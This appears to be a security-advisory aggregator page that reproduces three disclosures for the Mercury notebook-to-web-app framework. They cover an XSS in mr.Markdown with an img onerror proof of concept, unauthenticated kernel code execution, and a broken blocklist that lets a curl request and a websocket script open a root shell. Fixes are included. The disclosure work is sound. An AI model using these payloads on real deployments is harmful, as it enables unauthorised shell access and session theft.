Where
-Infinity
0
Severity
6.1
XSS
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Summary

Mercury turns Jupyter notebooks into shared web apps/dashboards. The mr.Markdown widget converts its input to HTML with python-markdown and no sanitization step. MarkdownWidget is an ipywidgets.HTML widget, whose value is written to the page as raw HTML (via innerHTML) with no sanitization, so the result reaches the DOM verbatim. When an app passes untrusted data (database rows, user submissions, uploaded file contents, or an external/LLM API response) to mr.Markdown, HTML/JS in that data executes in the browser of whoever views the app — a data-driven stored/DOM-based XSS.

This is a library-provided rendering sink that fails to neutralize output; it is triggered by ordinary, reasonable application code, not by an author mistake.

Root cause

mercury/md.py — MarkdownWidget.tohtml() (verified at v3.2.6, lines ~57–65):

python def tohtml(self, text: str) -> str: if mdlib is not None: body = mdlib.markdown(text) # python-markdown: passes raw HTML through else: body = f"<pre>{escape(text)}</pre>" # escape() is ONLY the md-lib-absent fallback return self.applyinlinetheme(body) # regex styling — adds style=, removes nothing

Two neutralization failures compound:

1. Markdown → HTML is unsanitized. python-markdown passes raw HTML through by default: <img src=x onerror=…>, <svg onload=…>, and javascript: links survive verbatim. There is no bleach/nh3 allowlist anywhere in the package. applyinlinetheme() only injects inline style= attributes via regex; it is not a sanitizer and removes nothing. escape() runs only in the md-lib-absent fallback.

2. The rendering sink is unsanitized innerHTML. MarkdownWidget (mercury/md.py:21) subclasses ipywidgets.HTML. The ipywidgets HTML widget renders its value into the DOM as raw HTML via innerHTML, with no sanitization (this is the widget's design). Event-handler payloads such as <img src=x onerror=…> therefore execute when the widget is displayed.

On the "sanitize" that exists: mercuryapp/notebooksanitize.py (sanitizenotebookformercuryruntime) and packages/lab/src/mercury/save.ts (sanitizeMercuryNotebookContent) strip runtime metadata and clear code-cell saved outputs. They do not neutralize HTML/JS, and they do not touch widget values or markdown source. "Sanitize" here is notebook hygiene, not XSS defense.

Threat model (attacker → victim, not self-inflicted)

The CVE-relevant framing is data-driven: the app author writes ordinary code, and the data is attacker-controlled.

python import mercury as mr row comes from a DB / user submission / uploaded file / external API — i.e. NOT authored by the app developer: mr.Markdown(row["comment"])

The attacker supplies the untrusted value (posts the comment, uploads the file, poisons the API/RAG source). A different user — another app user, a reviewer, an admin — then opens the app, and the payload executes in their browser. The vulnerable component (Mercury's server-side widget rendering) and the impacted component (the victim's browser session in the app origin) differ, which is the classic stored-XSS attacker/victim separation.

Amplifier — session sharing (--keep-session). Mercury can serve one shared kernel session to all viewers (mercury run … --keep-session, README "Arguments": "share the same session between multiple users … others will see this"). It is opt-in and defaults to off (keepSession=False in mercuryapp/handlers.py), so it is not required for the base case — any app that renders one user's untrusted data to another user is already vulnerable. When enabled, content one viewer submits is rendered into the session other viewers see, extending this to cross-user delivery. Authentication is opt-in and off by default: a free password gate exists (mercury run … --pass=…, README), while user-based authentication is a paid add-on. Because auth is off unless the operator enables it, unauthenticated public deployments — where the attacker needs no account — are a realistic default.

Proof of Concept

python import mercury as mr

Value that would realistically arrive from untrusted data (DB row, form field, uploaded file, API/LLM response): untrusted = '<img src=x onerror=alert(String.fromCharCode(88,83,83))>'

mr.Markdown(untrusted) # rendered to raw HTML, unsanitized, into the app DOM

The generated widget HTML contains the payload verbatim; when the widget is displayed, the onerror handler runs.

What was confirmed (and how)

- Confirmed by execution in a real browser (sink level): driving the actual python-markdown output into the same ipywidgets.HTML value sink the widget uses causes the payload to execute in headless Chromium. Execution was captured via Playwright's dialog event (which fires only on a genuine alert(), so the mere presence of the string in the HTML cannot cause a false positive). A benign control (hello) produced zero dialogs, confirming the harness reports only real execution. python-markdown passes <img src=x onerror=…> through verbatim by default (behavior is not version-specific). - Reasoned from source (not executed end-to-end): the full path from a mr.Markdown(...) call in a served Mercury app to a viewer's DOM was not run end-to-end, because no isolated container/VM was available in the reporting environment. Because MarkdownWidget is the ipywidgets.HTML sink above and Mercury's frontend applies no sanitizer to widget HTML values (the only frontend sanitizer strips notebook metadata at save time), the served-app path is expected to behave identically. Reproduce end-to-end before publishing if you want the advisory to state full-path browser confirmation.

Impact

Mercury shares notebooks as web apps/dashboards, often for non-technical audiences. When an app renders untrusted data through mr.Markdown, the generated page carries attacker-controlled script that runs in the browser of any other viewer, in the app origin — enabling session/cookie/token theft, UI spoofing and forced actions as the victim, and pivoting within the hosting origin. With --keep-session, this extends to cross-user delivery within a shared session.

Severity rationale (CVSS 3.1 per-metric)

Base score reflects the realistic default: an unauthenticated deployment whose app renders untrusted data via mr.Markdown.

| Metric | Value | Reason | |---|---|---| | AV Attack Vector | Network (N) | App is served over HTTP to remote users. | | AC Attack Complexity | Low (L) | No special conditions or race; supply data that reaches an mr.Markdown call. | | PR Privileges Required | None (N) | Baseline: the injection channel (public form/upload/API) needs no account; auth is optional/paid. See variant below. | | UI User Interaction | Required (R) | A victim must open/view the app page for the stored payload to run. | | S Scope | Changed (C) | The vulnerable component (server-side widget render) injects script that executes in a different security authority — the victim's browser session/origin. (This is the canonical XSS scoping in the CVSS 3.1 spec.) | | C Confidentiality | Low (L) | Script can read data/session material available to the app origin; scored L (not H) for a generic app without asserting full account takeover. | | I Integrity | Low (L) | Script can alter the page and act as the victim within the app; scored L generically. | | A Availability | None (N) | No direct availability impact. |

Result: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N = 6.1 (Medium).

Deployment-dependent variants (state your environment's when filing): - Injection channel requires an authenticated low-privilege user → PR:L → …/PR:L/UI:R/S:C/C:L/I:L/A:N = 5.4. - App origin exposes high-value auth material such that XSS yields full session/account takeover → C:H/I:H raises the score; justify per deployment rather than claiming it universally.

Remediation

Primary — sanitize by default in mr.Markdown, with an explicit opt-out for the deliberate raw-HTML use case (backward-compatible, non-breaking):

python mercury/md.py def tohtml(self, text: str, unsafeallowhtml: bool = False) -> str: if mdlib is not None: body = mdlib.markdown(text) else: body = f"<pre>{escape(text)}</pre>" if not unsafeallowhtml: # allowlist tags/attributes; strip javascript:/data: schemes and event handlers body = nh3.clean(body) # or bleach.clean(..., strip=True) return self.applyinlinetheme(body)

Expose unsafeallowhtml=False on mr.Markdown(...) so authors who deliberately embed trusted raw HTML can opt in, while the default is safe. This mirrors the convention used by comparable tools (e.g. Streamlit's unsafeallowhtml).

Defense-in-depth: since widget HTML values are written via innerHTML without sanitization, consider sanitizing widget HTML values at the frontend before they reach the DOM, and/or serving a Content-Security-Policy that forbids inline event handlers, so a single missed sink is not immediately exploitable.

Additional hardening (secondary — not the reported vulnerability)

Several widget ESMs write the label with innerHTML, e.g. mercury/text.py topLabel.innerHTML = model.get("label") || … (same shape in number.py, time.py, date/datetime/daterange/select/json/file, and indicator.py's cardhtml). This is not an attacker→victim XSS path: labels are static strings set by the app author in Python; URL/urlparams overrides affect only widget value (assigned via the safe input.value property), never label, so there is no end-user/URL route into a label. It is a defense-in-depth / author footgun only. Recommended regardless: render UI strings with textContent, or html.escape labels, so output encoding is applied uniformly.

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Mercury is a Python framework for sharing Jupyter notebooks as web applications and dashboards. Prior to 3.2.6, default tokenless deployments allow anonymous clients to create Jupyter kernels and send executerequest messages containing arbitrary Python. The endpoint blocklist does not cover /api/kernels, and the websocket wrapper previously tracked idle activity without authorizing executable messages. This issue is fixed in version 3.2.6.

1 / 2
Source: MITRE
First published (updated )
Severity
10
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Summary A missing comma in mercuryapp/blockhandler.py's BLOCKEDPATTERNS list causes the blocklist to fail to cover the /api/terminals endpoint. As a result, any unauthenticated attacker can spawn a full, interactive OS-level shell on the host running Mercury.

Details The blocklist in mercuryapp/blockhandler.py is defined as: BLOCKEDPATTERNS = [ # JupyterLab UI + API r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.)?" r"/api/terminals(?:/.)?", r"/api/shutdown(?:/.)?", r"/files(?:/.)?", ] The missing comma between the first and the second line causes Python to merge the rules, therefore the actual list that is blocked looks like this:

/lab...(?:/.)?/api/terminals(?:/.)? (the first two lines joined together) /api/shutdown(?:/.)? /files(?:/.)?

A direct request to /api/terminals does not match any of the 3 blocklist rules and is therefore not blocked, reaching Jupyter Server's built-in terminal API, which spawns a real OS shell accessible over a WebSocket connection. No authentication, account, session or pre-existing access to Mercury is required.

PoC Testing was performed on a local Docker deployment (https://runmercury.com/deploy/dockerfile/), Mercury version 3.2.3, default configuration. Step 1 - spawn a terminal:

curl -i -X POST http://localhost:8888/api/terminals Response: {"name": "1", "lastactivity": "..."}

Step 2 - connect to the terminal and execute commands:

python3 -c " import websocket, json, time

ws = websocket.createconnection('ws://localhost:8888/terminals/websocket/1') print(ws.recv())

ws.send(json.dumps(['stdin', 'whoami && id\n'])) time.sleep(1)

ws.settimeout(2) try: while True: print(ws.recv()) except Exception: pass "

Observed output:

["setup", {}] ["stdout", "# "] ["stdout", "whoami && id\r\n"] ["stdout", "root\r\n"] ["stdout", "uid=0(root) gid=0(root) groups=0(root)\r\n# "]

Confirms full, interactive root shell access with no authentication or prior access of any kind.

Impact - Confidentiality: full read access to any file the Mercury process can access (notebooks, uploaded data, environment variables, secrets). - Integrity: attacker can modify or delete any file, including notebooks served to other users. - Availability: attacker can shut down or crash the server/container. - Lateral movement: the shell can be used as a foothold to attack other systems reachable from the host's network.

Exploitable by any network client that can reach the Mercury server, including the public internet if it is deployed without additional access controls (VPN, reverse-proxy authentication, firewall).

Fix Add the missing comma so /api/terminals becomes an independent blocklist rule: BLOCKEDPATTERNS = [ # JupyterLab UI + API r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.)?", r"/api/terminals(?:/.)?", r"/api/shutdown(?:/.)?", r"/files(?:/.)?", ]

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203